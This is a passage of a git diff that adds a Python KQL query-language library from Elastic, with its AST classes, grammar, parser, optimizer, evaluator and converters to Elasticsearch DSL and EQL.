"null" + + +class Number(Value): + def _render(self): + return str(self.value) + + +class Boolean(Value): + def _render(self): + return 'true' if self.value else 'false' + + +class String(Value): + unescapable = re.compile(r'^[^\\():<>"*{} \t\r\n]+$') + escapes = {"\t": "\\t", "\r": "\\r", "\"": "\\\""} + + def _render(self): + # pass through as-is since nothing needs to be escaped + if self.unescapable.match(self.value) is not None: + return str(self.value) + + regex = r"[{}]".format("".join(re.escape(s) for s in sorted(self.escapes))) + return '"{}"'.format(re.sub(regex, lambda r: self.escapes[r.group()], self.value)) + + +class Wildcard(Value): + escapes = {"\t": "\\t", "\r": "\\r"} + slash_escaped = r'''^\\():<>"*{} ''' + + def _render(self): + escaped = [] + for char in self.value: + if char in self.slash_escaped: + escaped.append("\\") + escaped.append(char) + elif char in self.escapes: + escaped.append(self.escapes[char]) + else: + escaped.append(char) + return ''.join(escaped) + + +class List(KqlNode): + __slots__ = "items", + precedence = Value.precedence + 1 + operator = "" + template = Template("$items") + + def __init__(self, items): + self.items = items + KqlNode.__init__(self) + + @property + def delims(self): + return {"items": " {} ".format(self.operator)} + + def __eq__(self, other): + from .optimizer import Optimizer + from functools import cmp_to_key + if type(self) == type(other): + a = list(self.items) + b = list(other.items) + a.sort(key=cmp_to_key(Optimizer.sort_key)) + b.sort(key=cmp_to_key(Optimizer.sort_key)) + return a == b + + return False + + +class NotValue(KqlNode): + __slots__ = "value", + template = Template("not $value") + precedence = Value.precedence + 1 + + def __init__(self, value): + self.value = value + KqlNode.__init__(self) + + +class AndValues(List): + precedence = List.precedence + 1 + operator = "and" + + +class OrValues(List): + precedence = AndValues.precedence + 1 + operator = "or" + + +class Field(KqlNode): + __slots__ = "name", + precedence = Value.precedence + template = Template("$name") + + def __init__(self, name): + self.name = name + KqlNode.__init__(self) + + @property + def path(self): + return self.name.split(".") + + @classmethod + def from_path(cls, path): + dotted = ".".join(path) + return cls(dotted) + + +class Expression(KqlNode): + """Intermediate node for class hierarchy.""" + + +class FieldRange(Expression, KqlNode): + __slots__ = "field", "operator", "value", + precedence = Field.precedence + template = Template("$field $operator $value") + + def __init__(self, field, operator, value): + self.field = field + self.operator = operator + self.value = value + + +class NestedQuery(Expression): + __slots__ = "field", "expr", + precedence = Field.precedence + 1 + template = Template("$field:{$expr}") + + def __init__(self, field, expr): + self.field = field + self.expr = expr + + +class FieldComparison(Expression): + __slots__ = "field", "value", + precedence = FieldRange.precedence + template = Template("$field:$value") + + def __init__(self, field, value): + self.field = field + self.value = value + + +class Exists(KqlNode): + __slots__ = tuple() + precedence = FieldComparison.precedence + template = Template("*") + + +class NotExpr(Expression): + __slots__ = "expr", + precedence = FieldComparison.precedence + 1 + template = Template("not $expr") + + def __init__(self, expr): + self.expr = expr + + +class AndExpr(Expression, List): + precedence = NotExpr.precedence + 1 + operator = "and" + + +class OrExpr(Expression, List): + precedence = AndExpr.precedence + 1 + operator = "or" diff --git a/kql/dsl.py b/kql/dsl.py new file mode 100644 index 000000000..d9df95c7d --- /dev/null +++ b/kql/dsl.py @@ -0,0 +1,118 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from collections import defaultdict +from eql import Walker +from .errors import KqlCompileError + + +def boolean(**kwargs): + """Wrap a query in a boolean term and optimize while building.""" + assert len(kwargs) == 1 + [(boolean_type, children)] = kwargs.items() + + if not isinstance(children, list): + children = [children] + + dsl = defaultdict(list) + + if boolean_type in ("must", "filter"): + # safe to convert and(and(x), y) -> and(x, y) + for child in children: + if list(child) == ["bool"]: + for child_type, child_terms in child["bool"].items(): + if child_type in ("must", "filter"): + dsl[child_type].extend(child_terms) + elif child_type == "should": + if "should" not in dsl: + dsl[child_type].extend(child_terms) + else: + dsl[boolean_type].append(boolean(should=child_terms)) + elif child_type == "must_not": + dsl[child_type].extend(child_terms) + elif child_type != "minimum_should_match": + raise ValueError("Unknown term {}: {}".format(child_type, child_terms)) + else: + dsl[boolean_type].append(child) + + elif boolean_type == "should": + # can flatten `should` of `should` + for child in children: + if list(child) == ["bool"] and set(child["bool"]).issubset({"should", "minimum_should_match"}): + dsl["should"].extend(child["bool"]["should"]) + else: + dsl[boolean_type].append(child) + + elif boolean_type == "must_not" and len(children) == 1: + # must_not: [{bool: {must: x}}] -> {must_not: x} + child = children[0] + if list(child) == ["bool"] and list(child["bool"]) in (["filter"], ["must"]): + negated, = child["bool"].values() + dsl = {"must_not": negated} + else: + dsl = {"must_not": children} + + else: + dsl = dict(kwargs) + + if "should" in dsl: + dsl.update(minimum_should_match=1) + + dsl = {"bool": dict(dsl)} + return dsl + + +class ToDsl(Walker): + + def _walk_default(self, node, *args, **kwargs): + raise KqlCompileError("Unable to convert {}".format(node)) + + def _walk_exists(self, _): + return lambda field: {"exists": {"field": field}} + + def _walk_wildcard(self, tree): + return lambda field: {"query_string": {"fields": [field], "query": tree.value}} + + def _walk_value(self, tree): + return lambda field: {"match": {field: tree.value}} + + def _walk_field(self, field): + return field.name + + def _walk_field_range(self, tree): + operator_map = {"<": "lt", "<=": "lte", ">=": "gte", ">": "gt"} + field = self.walk(tree.field) + return {"range": {field: {operator_map[tree.operator]: tree.value.value}}} + + def _walk_not_expr(self, tree): + return boolean(must_not=[self.walk(tree.expr)]) + + def _walk_and_expr(self, tree): + return boolean(filter=[self.walk(node) for node in tree.items]) + + def _walk_or_expr(self, tree): + return boolean(should=[self.walk(node) for node in tree.items]) + + def _walk_and_values(self, tree): + children = [self.walk(node) for node in tree.items] + return lambda field: boolean(filter=[child(field) for child in children]) + + def _walk_or_values(self, tree): + children = [self.walk(node) for node in tree.items] + return lambda field: boolean(should=[child(field) for child in children]) + + def _walk_not_value(self, tree): + child = self.walk(tree.value) + return lambda field: boolean(must_not=[child(field)]) + + def _walk_field_comparison(self, tree): + field = self.walk(tree.field) + value_fn = self.walk(tree.value) + + return value_fn(field) + + @classmethod + def convert(cls, tree): + return boolean(filter=[cls().walk(tree)]) diff --git a/kql/eql2kql.py b/kql/eql2kql.py new file mode 100755 index 000000000..7e01764fa --- /dev/null +++ b/kql/eql2kql.py @@ -0,0 +1,121 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import eql +from eql import DepthFirstWalker + +from .ast import ( + Value, String, OrValues, Field, Expression, FieldRange, FieldComparison, + NotExpr, AndExpr, OrExpr, Exists +) + + +class Eql2Kql(DepthFirstWalker): + + def _walk_default(self, tree, *args, **kwargs): + if isinstance(tree, eql.ast.EqlNode): + raise eql.errors.EqlCompileError("Unable to convert {}".format(tree)) + else: + return tree + + def check_field_expression(self, tree): + if not isinstance(tree, Expression): + raise eql.errors.EqlCompileError("Expected expression, but got {}".format(repr(tree))) + return tree + + def check_field_expressions(self, trees): + for tree in trees: + self.check_field_expression(tree) + return trees + + def _walk_and(self, tree): # type: (eql.ast.And) -> AndExpr + return AndExpr(self.check_field_expressions(tree.terms)) + + def _walk_or(self, tree): # type: (eql.ast.Or) -> OrExpr + return OrExpr(self.check_field_expressions(tree.terms)) + + def _walk_not(self, tree): # type: (eql.ast.Not) -> NotExpr + return NotExpr(self.check_field_expression(tree.term)) + + def _walk_is_null(self, node): # type: (eql.ast.IsNull) -> FieldComparison + if not isinstance(node.expr, Field): + raise eql.errors.EqlCompileError("Unable to compare a non-field [{}] to null".format(node.expr)) + + return NotExpr(FieldComparison(node.expr, Exists())) + + def _walk_is_not_null(self, node): # type: (eql.ast.IsNotNull) -> Expression + if not isinstance(node.expr, Field): + raise eql.errors.EqlCompileError("Unable to compare a non-field [{}] to null".format(node.expr)) + + return FieldComparison(node.expr, Exists()) + + def _walk_field(self, tree): # type: (eql.ast.Field) -> Field + if any(eql.utils.is_number(n) for n in tree.path): + raise eql.errors.EqlCompileError("Unable to convert array field: {}".format(tree)) + + return Field(tree.render()) + + def _walk_in_set(self, tree): # type: (eql.ast.InSet) -> FieldComparison + if not isinstance(tree.expression, Field) or not all(isinstance(v, Value) for v in tree.container): + raise eql.errors.EqlCompileError("Unable to convert `{}`".format(tree.expression, tree)) + + return FieldComparison(tree.expression, OrValues(tree.container)) + + def _walk_function_call(self, tree): # type: (eql.ast.FunctionCall) -> KqlNode + if tree.name in ("wildcard", "cidrMatch"): + if isinstance(tree.arguments[0], Field): + return FieldComparison(tree.arguments[0], OrValues(tree.arguments[1:])) + + raise eql.errors.EqlCompileError("Unable to convert `{}`".format(tree)) + + def _walk_literal(self, tree): + return Value.from_python(tree.value) + + def _walk_event_query(self, tree): # type: (eql.ast.EventQuery) -> KqlNode + if tree.event_type == eql.schema.EVENT_TYPE_ANY: + return self.check_field_expression(tree.query) + + event_check = FieldComparison(Field("event.category"), String(tree.event_type)) + + # for `x where true` shorthand, drop the `where true` + if tree.query == Value.from_python(True): + return event_check + + self.check_field_expression(tree.query) + return AndExpr([event_check, tree.query]) + + def _walk_filter_pipe(self, tree): # type: (eql.pipes.FilterPipe) -> KqlNode + return self.check_field_expression(tree.expression) + + def _walk_piped_query(self, tree): # type: (eql.ast.PipedQuery) -> KqlNode + if not tree.pipes: + return tree.first + + return AndExpr([tree.first] + tree.pipes) + + LT, LE, EQ, NE, GE, GT = ('<', '<=', '==', '!=', '>=', '>') + flipped = {LT: GE, LE: GT, + EQ: EQ, NE: NE, + GE: LT, GT: LE} + + def _walk_comparison(self, tree): # type: (eql.ast.Comparison) -> KqlNode + left = tree.left + op = tree.comparator + right = tree.right + + # move the literal to the right + if isinstance(left, eql.ast.Literal): + left, right = right, left + op = self.flipped[op] + + if isinstance(left, Field) and isinstance(right, Value): + if op == eql.ast.Comparison.EQ: + return FieldComparison(left, right) + elif op == eql.ast.Comparison.NE: + return NotExpr(FieldComparison(left, right)) + else: + return FieldRange(left, op, right) + + raise eql.errors.EqlCompileError("Unable to convert {}".format(tree)) diff --git a/kql/errors.py b/kql/errors.py new file mode 100644 index 000000000..eff0b9797 --- /dev/null +++ b/kql/errors.py @@ -0,0 +1,18 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from eql import EqlError, EqlParseError, EqlCompileError + + +class KqlParseError(EqlParseError): + """EQL Parsing Error.""" + + +class KqlCompileError(EqlCompileError): + """Class for KQL-specific compile errors.""" + + +class KqlRuntimeError(EqlError): + """Error for failures within the KQL evaluator.""" diff --git a/kql/evaluator.py b/kql/evaluator.py new file mode 100644 index 000000000..0a7eaa181 --- /dev/null +++ b/kql/evaluator.py @@ -0,0 +1,155 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import operator +import re + +import eql.ast +from eql import Walker, EqlCompileError, utils +from eql.functions import CidrMatch +from .errors import KqlRuntimeError, KqlCompileError + + +class FilterGenerator(Walker): + __cidr_cache = {} + + def _walk_default(self, node, *args, **kwargs): + raise KqlCompileError("Unable to convert {}".format(node)) + + @classmethod + def equals(cls, term, value): + if utils.is_string(term) and utils.is_string(value): + if CidrMatch.ip_compiled.match(term) and CidrMatch.cidr_compiled.match(value): + # check for an ipv4 cidr + if value not in cls.__cidr_cache: + cls.__cidr_cache[value] = CidrMatch.get_callback(None, eql.ast.String(value)) + return cls.__cidr_cache[value](term) + + return term == value + + @classmethod + def get_terms(cls, document, path): + if isinstance(document, (tuple, list)): + for d in document: + for term in cls.get_terms(d, path): + yield term + + elif isinstance(document, dict): + document = document.get(path[0]) + path = path[1:] + + if len(path) > 0: + for term in cls.get_terms(document, path): + yield term + elif isinstance(document, (tuple, list)): + for term in document: + yield term + elif document is not None: + yield document + + def _walk_value(self, tree, compare_function=None): + value = tree.value + compare_function = compare_function or self.equals + + def check_value(term): + if term is None: + return False + + if isinstance(term, list): + return any(check_value(t) for t in term) + + if isinstance(term, (bool, float, int)) or utils.is_string(term): + v = value + + if utils.is_string(v) and isinstance(term, (bool, int, float)): + if isinstance(v, bool): + v = v == "false" + if isinstance(term, int): + v = int(v) + elif isinstance(v, float): + v = float(v) + + elif utils.is_string(term) and isinstance(v, (bool, int, float)): + v = utils.to_unicode(v) + + return compare_function(term, v) + else: + raise KqlRuntimeError("Cannot compare value {}".format(term)) + + return check_value + + def _walk_exists(self, _): + return lambda terms: any(t is not None for t in terms) + + def _walk_wildcard(self, tree): + pattern = tree.value + regex = re.compile(".*?".join(map(re.escape, pattern.split("*"))), re.UNICODE | re.DOTALL) + return lambda terms: any(t is not None and regex.fullmatch(t) for t in terms) + + def _walk_field(self, field): + path = field.name.split(".") + get_terms = self.get_terms + + def callback(document): + terms = get_terms(document, path) + terms = list(terms) + return terms + + return callback + + def _walk_field_range(self, tree): + field = self.walk(tree.field) + operators = {"<": operator.lt, "<=": operator.le, ">=": operator.ge, ">": operator.gt} + + check_range = self.walk(tree.value, operators[tree.operator]) + return lambda doc: check_range(field(doc)) + + def _walk_nested_query(self, tree): + field = self.walk(tree.field) + expr = self.walk(tree.expr) + + def check_nested(doc): + doc = field(doc) + + if isinstance(doc, dict): + return expr(doc) + elif isinstance(doc, (list, tuple)): + return any(expr(d) for d in doc) + + return check_nested + + def _walk_list(self, trees, reduce_function, *args, **kwargs): + walked = [self.walk(item, *args, **kwargs) for item in trees.items] + return lambda x: reduce_function(item(x) for item in walked) + + def _walk_not_expr(self, tree): + expr = self.walk(tree.expr) + return lambda doc: not expr(doc) + + def _walk_and_expr(self, tree): + return self._walk_list(tree, all) + + def _walk_or_expr(self, tree): + return self._walk_list(tree, any) + + def _walk_and_values(self, tree): + return self._walk_list(tree, all) + + def _walk_or_values(self, tree): + return self._walk_list(tree, any) + + def _walk_not_value(self, tree): + expr = self.walk(tree.value) + return lambda value: not expr(value) + + def _walk_field_comparison(self, tree): + field = self.walk(tree.field) + value = self.walk(tree.value) + + return lambda doc: value(field(doc)) + + @classmethod + def filter(cls, expression): + return cls().walk(expression) diff --git a/kql/kql.g b/kql/kql.g new file mode 100644 index 000000000..8f2cec115 --- /dev/null +++ b/kql/kql.g @@ -0,0 +1,51 @@ +?query: or_query +?or_query: and_query (OR and_query)* +?and_query: not_query (AND not_query)* +?not_query: NOT? sub_query +?sub_query: "(" or_query ")" + | nested_query +?nested_query: field ":" "{" or_query "}" + | expression +?expression: field_range_expression + | field_value_expression + | value_expression + +field_range_expression: field RANGE_OPERATOR literal +field_value_expression: field ":" list_of_values +?value_expression: value + +?list_of_values: "(" or_list_of_values ")" + | value +?or_list_of_values: and_list_of_values (OR and_list_of_values)* +?and_list_of_values: not_list_of_values (AND not_list_of_values)* +?not_list_of_values: NOT? list_of_values + +field: literal + +value: QUOTED_STRING + | UNQUOTED_LITERAL + + +literal: QUOTED_STRING + | UNQUOTED_LITERAL + +RANGE_OPERATOR: "<=" + | ">=" + | "<" + | ">" + +UNQUOTED_LITERAL: UNQUOTED_CHAR+ +UNQUOTED_CHAR: "\\" /[trn]/ // escaped whitespace + | "\\" /[\\():<>"*{}]/ // escaped specials + | "\\" (AND | OR | NOT) // escaped keywords + | "*" // wildcard + | /[^\\():<>"*{} \t\r\n]/ // anything else + +QUOTED_STRING: /"(\\[tnr"\\]|[^\r\n"])*"/ + +OR.2: "or" | "OR" +AND.2: "and" | "AND" +NOT.2: "not" | "NOT" + +WHITESPACE: (" " | "\r" | "\n" | "\t" )+ +%ignore WHITESPACE \ No newline at end of file diff --git a/kql/kql2eql.py b/kql/kql2eql.py new file mode 100755 index 000000000..7a275c00f --- /dev/null +++ b/kql/kql2eql.py @@ -0,0 +1,106 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import eql + +from .parser import BaseKqlParser + +NOT_SUPPORTED_EQL_FIELDS = ["text"] +# https://github.com/elastic/eql/issues/17 + +class KqlToEQL(BaseKqlParser): + + # + # Lark Visit methods + # + @staticmethod + def to_eql_field(name): + path = name.split(".") + return eql.ast.Field(path[0], path[1:]) + + def or_query(self, tree): + terms = [self.visit(t) for t in tree.child_trees] + return eql.ast.Or(terms) + + def and_query(self, tree): + terms = [self.visit(t) for t in tree.child_trees] + return eql.ast.And(terms) + + def not_query(self, tree): + return eql.ast.Not(self.visit(tree.children[-1])) + + def nested_query(self, tree): + raise self.error(tree, "Unable to convert nested query to EQL") + + def field_range_expression(self, tree): + field_tree, operator, literal_tree = tree.children + field_name = self.visit(field_tree) + + # check the field against the schema + self.get_field_type(field_name, field_tree) + + # get and convert the value + value = self.convert_value(field_name, self.visit(literal_tree), literal_tree) + literal = eql.ast.Literal.from_python(value) + + field = self.to_eql_field(field_name) + return eql.ast.Comparison(field, operator.value, literal) + + def field_value_expression(self, tree): + field_tree, value_tree = tree.child_trees + + with self.scope(self.visit(field_tree)) as field_name: + # check the field against the schema + + type_mapping = self.get_field_type(field_name, field_tree) + if type_mapping in NOT_SUPPORTED_EQL_FIELDS: + err_msg = f"{field_name} uses an unsupported elasticsearch eql field_type {type_mapping}" + raise eql.EqlSemanticError(err_msg, field_tree.line, field_tree.column, self.text) + + return self.visit(value_tree) + + def or_list_of_values(self, tree): + children = [self.visit(t) for t in tree.child_trees] + return eql.ast.Or(children) + + def and_list_of_values(self, tree): + children = [self.visit(t) for t in tree.child_trees] + return eql.ast.And(children) + + def not_list_of_values(self, tree): + return eql.ast.Not(self.visit(tree.children[-1])) + + def field(self, tree): + literal = self.visit(tree.children[0]) + return eql.utils.to_unicode(literal) + + def value(self, tree): + # TODO: check the logic for kuery.peg + value = self.unescape_literal(tree.children[0]) + + if self.scoped_field is None: + raise self.error(tree, "Value not tied to field") + + field_name = self.scoped_field + field = self.to_eql_field(field_name) + value = self.convert_value(field_name, value, tree) + value_ast = eql.ast.Literal.from_python(value) + + if value is None: + return eql.ast.IsNull(field) + + if eql.utils.is_string(value) and value.replace("*", "") == "": + return eql.ast.IsNotNull(field) + + if eql.utils.is_string(value) and "*" in value: + return eql.ast.FunctionCall("wildcard", [field, value_ast]) + + if self.get_field_types(field_name) == {"ip"} and "/" in value: + return eql.ast.FunctionCall("cidrMatch", [field, value_ast]) + + return eql.ast.Comparison(field, "==", value_ast) + + def literal(self, tree): + return self.unescape_literal(tree.children[0]) diff --git a/kql/optimizer.py b/kql/optimizer.py new file mode 100644 index 000000000..9893f431d --- /dev/null +++ b/kql/optimizer.py @@ -0,0 +1,130 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import functools + +from eql import Walker, DepthFirstWalker + +from .ast import AndValues, NotValue, Value, OrValues, NotExpr, FieldComparison + + +class Optimizer(DepthFirstWalker): + + def flat_optimize(self, tree): + return Walker.walk(self, tree) + + def _walk_default(self, tree, *args, **kwargs): + return tree + + def group_fields(self, tree, value_cls): # type: (List, type) -> KqlNode + cls = type(tree) + field_groups = {} + ungrouped = [] + + for term in tree.items: + # move a `not` inwards before grouping + if isinstance(term, NotExpr) and isinstance(term.expr, FieldComparison): + term = FieldComparison(term.expr.field, NotValue(term.expr.value)) + + if isinstance(term, FieldComparison): + if term.field.name in field_groups: + existing_checks = field_groups[term.field.name] + existing_checks.append(term) + continue + else: + field_groups[term.field.name] = [term] + + ungrouped.append(term) + + for term in ungrouped: + if isinstance(term, FieldComparison): + term.value = self.flat_optimize(value_cls([t.value for t in field_groups[term.field.name]])) + + ungrouped = [self.flat_optimize(u) for u in ungrouped] + return cls(ungrouped) if len(ungrouped) > 1 else ungrouped[0] + + @staticmethod + def sort_key(a, b): + if isinstance(a, Value) and not isinstance(b, Value): + return -1 + if not isinstance(a, Value) and isinstance(b, Value): + return +1 + + if isinstance(a, Value) and isinstance(b, Value): + t_a = type(a) + t_b = type(b) + + if t_a == t_b: + return (a.value > b.value) - (a.value < b.value) + else: + return (t_a.__name__ > t_b.__name__) - (t_a.__name__ < t_b.__name__) + + else: + # unable to compare + return 0 + + def _walk_field_comparison(self, tree): # type: (FieldComparison) -> KqlNode + # if there's a single `not`, then pull it out of the expression + if isinstance(tree.value, NotValue): + return NotExpr(FieldComparison(tree.field, tree.value.value)) + return tree + + def flatten(self, tree): # type: (List) -> List + cls = type(tree) + flattened = [] + for node in tree.items: + if isinstance(node, cls): + flattened.extend(node.items) + else: + flattened.append(node) + + flattened = [self.flat_optimize(t) for t in flattened] + return cls(flattened) + + def flatten_values(self, tree, dual_cls): # type: (List, type) -> List + cls = type(tree) + flattened = [] + not_term = None + + for term in self.flatten(tree).items: + if isinstance(term, NotValue) and isinstance(term.value, Value): + # create a copy to leave the source tree unaltered + term = NotValue(term.value) + if not_term is None: + not_term = term + else: + not_term.value = dual_cls([not_term.value, term.value]) + continue + + flattened.append(term) + + if not_term is not None: + not_term.value = self.flat_optimize(not_term.value) + + flattened = [self.flat_optimize(t) for t in flattened] + flattened.sort(key=functools.cmp_to_key(self.sort_key)) + return cls(flattened) if len(flattened) > 1 else flattened[0] + + def _walk_not_value(self, tree): # type: (NotValue) -> KqlNode + if isinstance(tree.value, NotValue): + return tree.value.value + return tree + + def _walk_or_values(self, tree): + return self.flatten_values(tree, AndValues) + + def _walk_and_values(self, tree): + return self.flatten_values(tree, OrValues) + + def _walk_not_expr(self, tree): # type: (NotExpr) -> KqlNode + if isinstance(tree.expr, NotExpr): + return tree.expr.expr + return tree + + def _walk_and_expr(self, tree): # type: (AndExpr) -> KqlNode + return self.group_fields(self.flatten(tree), value_cls=AndValues) + + def _walk_or_expr(self, tree): # type: (OrExpr) -> KqlNode + return self.group_fields(self.flatten(tree), value_cls=OrValues) diff --git a/kql/parser.py b/kql/parser.py new file mode 100644 index 000000000..b92863f73 --- /dev/null +++ b/kql/parser.py @@ -0,0 +1,370 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import contextlib +import os +import re +from typing import Optional, Set + +import eql +from lark import Token # noqa: F401 +from lark import Tree, Lark +from lark.exceptions import LarkError, UnexpectedEOF +from lark.visitors import Interpreter + +from kql.errors import KqlParseError +from .ast import * # noqa: F403 + + +STRING_FIELDS = ("keyword", "text") + + +class KvTree(Tree): + + @property + def child_trees(self): + return [child for child in self.children if isinstance(child, KvTree)] + + @property + def child_tokens(self): + return [child for child in self.children if isinstance(child, Token)] + + +grammar_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), "kql.g") + +with open(grammar_file, "rt") as f: + grammar = f.read() + +lark_parser = Lark(grammar, propagate_positions=True, tree_class=KvTree, start=['query'], parser='lalr') + + +def wildcard2regex(wc: str) -> re.Pattern: + parts = wc.split("*") + return re.compile("^{regex}$".format(regex=".*?".join(re.escape(w) for w in parts))) + + +def elasticsearch_type_family(mapping_type: str) -> str: + """Get the family of type for an Elasticsearch mapping type.""" + # https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-types.html + return { + # range types + "long_range": "range", + "double_range": "range", + "date_range": "range", + "ip_range": "range", + + # text search types + "annotated-text": "text", + "completion": "text", + "match_only_text": "text", + "search-as_you_type": "text", + + # keyword + "constant_keyword": "keyword", + "wildcard": "keyword", + + # date + "date_nanos": "date", + + # integer + "token_count": "integer", + "long": "integer", + "short": "integer", + "byte": "integer", + "unsigned_long": "integer", + + # float + "double": "float", + "half_float": "float", + "scaled_float": "float", + + }.get(mapping_type, mapping_type) + + +class BaseKqlParser(Interpreter): + NON_SPACE_WS = re.compile(r"[^\S ]+") + ip_regex = re.compile("^" + eql.functions.CidrMatch.ip_re + "(/([0-2]?[0-9]|3[0-2]))?$") + + unquoted_escapes = {"\\t": "\t", "\\r": "\r", "\\n": "\n"} + + for special in "\\():<>\"*{}]": + unquoted_escapes["\\" + special] = special + + unquoted_regex = re.compile("(" + "|".join(re.escape(e) for e in sorted(unquoted_escapes)) + ")") + + quoted_escapes = {"\\t": "\t", "\\r": "\r", "\\n": "\n", "\\\\": "\\", "\\\"": "\""} + quoted_regex = re.compile("(" + "|".join(re.escape(e) for e in sorted(quoted_escapes)) + ")") + + def __init__(self, text, schema=None): + self.text = text + self.lines = [t.rstrip("\r\n") for t in self.text.splitlines(True)] + self.scoped_field = None + self.mapping_schema = schema + self.star_fields = [] + + if schema: + for field, field_type in schema.items(): + if "*" in field: + self.star_fields.append(wildcard2regex(field)) + + def assert_lower_token(self, *tokens): + for token in tokens: + if str(token) != str(token).lower(): + raise self.error(token, "Expected '{lower}' but got '{token}'".format(token=token, lower=str(token).lower())) + + def error(self, node, message, end=False, cls=KqlParseError, width=None, **kwargs): + """Generate an error exception but dont raise it.""" + if kwargs: + message = message.format(**kwargs) + + line_number = node.line - 1 + column = node.column - 1 + + # get more lines for more informative error messages. three before + two after + before = self.lines[:line_number + 1][-3:] + after = self.lines[line_number + 1:][:3] + + source = '\n'.join(b for b in before) + trailer = '\n'.join(a for a in after) + + # Determine if the error message can easily look like this + # ^^^^ + if width is None and not end and node.line == node.end_line: + if not self.NON_SPACE_WS.search(self.lines[line_number][column:node.end_column]): + width = node.end_column - node.column + + if width is None: + width = 1 + + return cls(message, line_number, column, source, width=width, trailer=trailer) + + def __default__(self, tree): + raise NotImplementedError("Unable to visit tree {} of type: {}".format(tree, tree.data)) + + def unescape_literal(self, token): # type: (Token) -> (int|float|str|bool) + if token.type == "QUOTED_STRING": + return self.convert_quoted_string(token.value) + else: + return self.convert_unquoted_literal(token.value) + + @contextlib.contextmanager + def scope(self, field): + # with self.scope(field) as field: + # ... + self.scoped_field = field + yield field + self.scoped_field = None + + def get_field_type(self, dotted_path, lark_tree=None): + matches_pattern = any(regex.match(dotted_path) for regex in self.star_fields) + + if self.mapping_schema is not None: + if lark_tree is not None and dotted_path not in self.mapping_schema and not matches_pattern: + raise self.error(lark_tree, "Unknown field") + + return self.mapping_schema.get(dotted_path) + + def get_field_types(self, wildcard_dotted_path, lark_tree=None) -> Optional[Set[str]]: + if "*" not in wildcard_dotted_path: + field_type = self.get_field_type(wildcard_dotted_path, lark_tree=lark_tree) + return {field_type} if field_type is not None else None + + if self.mapping_schema is not None: + regex = wildcard2regex(wildcard_dotted_path) + field_types = set() + + for field, field_type in self.mapping_schema.items(): + if regex.fullmatch(field) is not None: + field_types.add(field_type) + + if len(field_types) == 0: + raise self.error(lark_tree, "Unknown field") + + return field_types + + @staticmethod + def get_literal_type(literal_value): + if isinstance(literal_value, bool): + return "boolean" + elif isinstance(literal_value, float): + return "float" + elif isinstance(literal_value, int): + return "long" + elif eql.utils.is_string(literal_value): + # this will be converted when compared to the field + return "keyword" + elif literal_value is None: + return "null" + else: + raise NotImplementedError("Unknown literal type: {}".format(type(literal_value).__name__)) + + def convert_value(self, field_name, python_value, value_tree): + field_type = None + field_types = self.get_field_types(field_name) + value_type = self.get_literal_type(python_value) + + if field_types is not None: + if len(field_types) == 1: + field_type = list(field_types)[0] + elif len(field_types) > 1: + raise self.error(value_tree, + f"{field_name} has multiple types {', '.join(field_types)}") + + if field_type is not None and field_type != value_type: + field_type_family = elasticsearch_type_family(field_type) + + if field_type_family in STRING_FIELDS: + return eql.utils.to_unicode(python_value) + elif field_type_family in ("float", "integer"): + try: + return float(python_value) if field_type_family == "float" else int(python_value) + except ValueError: + pass + elif field_type_family == "ip" and value_type == "keyword": + if "::" in python_value or self.ip_regex.match(python_value) is not None: + return python_value + elif field_type_family == 'date' and value_type in STRING_FIELDS: + # this will not validate datemath syntax + return python_value + + raise self.error(value_tree, "Value doesn't match {field}'s type: {type}", + field=field_name, type=field_type) + + # otherwise, there's nothing to convert + return python_value + + @classmethod + def convert_unquoted_literal(cls, text): + if text == "true": + return True + elif text == "false": + return False + elif text == "null": + return None + else: + for numeric in (int, float): + try: + return numeric(text) + except ValueError: + pass + + text = cls.unquoted_regex.sub(lambda r: cls.unquoted_escapes[r.group()], text) + return text + + @classmethod + def convert_quoted_string(cls, text): + inner_text = text[1:-1] + unescaped = cls.quoted_regex.sub(lambda r: cls.quoted_escapes[r.group()], inner_text) + return unescaped + + +class KqlParser(BaseKqlParser): + def or_query(self, tree): + self.assert_lower_token(*tree.child_tokens) + terms = [self.visit(t) for t in tree.child_trees] + return OrExpr(terms) + + def and_query(self, tree): + self.assert_lower_token(*tree.child_tokens) + terms = [self.visit(t) for t in tree.child_trees] + return AndExpr(terms) + + def not_query(self, tree): + self.assert_lower_token(*tree.child_tokens) + return NotExpr(self.visit(tree.children[-1])) + + @contextlib.contextmanager + def nest(self, lark_tree): + schema = self.mapping_schema + dotted_path = self.visit(lark_tree) + + if self.get_field_type(dotted_path, lark_tree) != "nested": + raise self.error(lark_tree, "Expected a nested field") + + try: + self.mapping_schema = self.mapping_schema[dotted_path] + yield + finally: + self.mapping_schema = schema + + def nested_query(self, tree): + # field_tree, query_tree = tree.child_trees + # + # with self.nest(field_tree) as field: + # return NestedQuery(field, self.visit(query_tree)) + + raise self.error(tree, "Nested queries are not yet supported") + + def field_value_expression(self, tree): + field_tree, expr = tree.child_trees + + with self.scope(self.visit(field_tree)) as field: + # check the field against the schema + self.get_field_types(field.name, field_tree) + return FieldComparison(field, self.visit(expr)) + + def field_range_expression(self, tree): + field_tree, operator, literal = tree.children + with self.scope(self.visit(field_tree)) as field: + value = self.convert_value(field.name, self.visit(literal), literal) + return FieldRange(field, operator, Value.from_python(value)) + + def or_list_of_values(self, tree): + 